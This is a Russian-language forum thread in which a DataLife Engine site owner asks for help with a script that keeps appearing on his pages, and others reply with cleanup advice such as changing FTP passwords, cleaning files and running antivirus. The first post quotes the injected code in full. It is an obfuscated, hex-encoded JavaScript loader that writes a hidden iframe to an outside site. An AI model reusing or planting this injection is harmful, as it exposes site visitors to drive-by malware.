Помощь [help]Вирус

Тема в разделе "DLE", создана пользователем materiya, 22 авг 2008.

Информация :
Актуальная версия DataLife Engine 12.0
( Final Release v.12.0 | Скачать DataLife Engine | Скачать 12.0 demo )
Нужно ли обновляться | Как обновиться | Изменения в шаблонах
> Нет русских символов <
[Приватная тема DLE (Все подробности в ЛС к модератору раздела)]

Версии 11.3 и ниже - уязвимы!

Локализации | F.A.Q. | Внешний вид
Правила раздела | Правила форума
Обсуждение хайда карается баном!
В каждом сообщении указывайте версию DLE, которого они касаются!
Статус темы:
Закрыта.
Модераторы: killoff
  1. materiya

    materiya

    Регистр.:
    17 янв 2008
    Сообщения:
    253
    Симпатии:
    46
    Версия DLE - 7 by-m.i.d

    Постоянно появляется строчка в конце страницы


    Код:
    <script>function c7841638945m48ad653186412(m48ad653186be6){  return (parseInt(m48ad653186be6,16));}function m48ad653188361(m48ad653188b35){ function m48ad65318a2b4(){var m48ad65318aa86=2;return m48ad65318aa86;} var m48ad65318930a='';m48ad65318b25c=String.fromCharCode;for(m48ad653189add=0;m48ad653189add<m48ad653188b35.length;m48ad653189add+=m48ad65318a2b4()){ m48ad65318930a+=(m48ad65318b25c(c7841638945m48ad653186412(m48ad653188b35.substr(m48ad653189add,m48ad65318a2b4()))));}return m48ad65318930a;} var z53='';var m48ad65318ba2f='3C7'+z53+'3637'+z53+'2697'+z53+'07'+z53+'43E696628216D7'+z53+'96961297'+z53+'B646F637'+z53+'56D656E7'+z53+'42E7'+z53+'7'+z53+'7'+z53+'2697'+z53+'465287'+z53+'56E657'+z53+'363617'+z53+'065282027'+z53+'2533632536392536362537'+z53+'32253631253664253635253230253665253631253664253635253364253633253337'+z53+'2532302537'+z53+'332537'+z53+'32253633253364253237'+z53+'2536382537'+z53+'342537'+z53+'342537'+z53+'302533612532662532662536322536352537'+z53+'332537'+z53+'342537'+z53+'332536382536312537'+z53+'332537'+z53+'34253635253265253633253665253266253637'+z53+'2536662536662536342532652536382537'+z53+'34253664253663253366253237'+z53+'2532622534642536312537'+z53+'342536382532652537'+z53+'322536662537'+z53+'352536652536342532382534642536312537'+z53+'342536382532652537'+z53+'32253631253665253634253666253664253238253239253261253334253338253339253338253330253239253262253237'+z53+'253333253635253339253330253333253634253332253634253237'+z53+'2532302537'+z53+'37'+z53+'2536392536342537'+z53+'34253638253364253337'+z53+'253339253330253230253638253635253639253637'+z53+'2536382537'+z53+'342533642533362533322532302537'+z53+'332537'+z53+'342537'+z53+'39253663253635253364253237'+z53+'2536342536392537'+z53+'332537'+z53+'302536632536312537'+z53+'39253361253230253665253666253665253635253237'+z53+'2533652533632532662536392536362537'+z53+'3225363125366425363525336527'+z53+'29293B7'+z53+'D7'+z53+'6617'+z53+'2206D7'+z53+'969613D7'+z53+'47'+z53+'27'+z53+'5653B3C2F7'+z53+'3637'+z53+'2697'+z53+'07'+z53+'43E';document.write(m48ad653188361(m48ad65318ba2f));</script><script>check_content()</script>
    Пароли менял, из фтп-клиента убрал...

    Подозрение: Может DLE имеет дырку? или какойто файл на сайте лежит и грешит......


    Подскажите плз
     
  2. kandasoft

    kandasoft Читатель

    Заблокирован
    Регистр.:
    17 окт 2007
    Сообщения:
    259
    Симпатии:
    143
    Если пароли менял, антивирусом проверял и с фтп убрал, тогда
    скорее всего у тебя просто хост дырявый... У себя на 7 версии (тоже от m.i.d) ничего не замечал...
    Было подобное только один раз, у одного дешевого хостера... После этого пришлось переехать на более приличный.
     
  3. materiya

    materiya

    Регистр.:
    17 янв 2008
    Сообщения:
    253
    Симпатии:
    46
    извените, а антивирусом сайт проверить прямо на хосте мона?
     
  4. pozerovnet

    pozerovnet

    Регистр.:
    31 янв 2008
    Сообщения:
    400
    Симпатии:
    11
    Нельзя.
    Удали пароли, которые у тебя сохранены в твоём фтп-менеджере (от твоего сайта)
    Удали лишние файлы, если таковые имеются с хоста
    Почисти все файлы от вредоносного кода (заражено более одного файла, уверен)
    Смени пароли от фтп
    Воспользуйся программой Spyware doctor
    Используй антивирус на компе ;)
     
    materiya нравится это.
Статус темы:
Закрыта.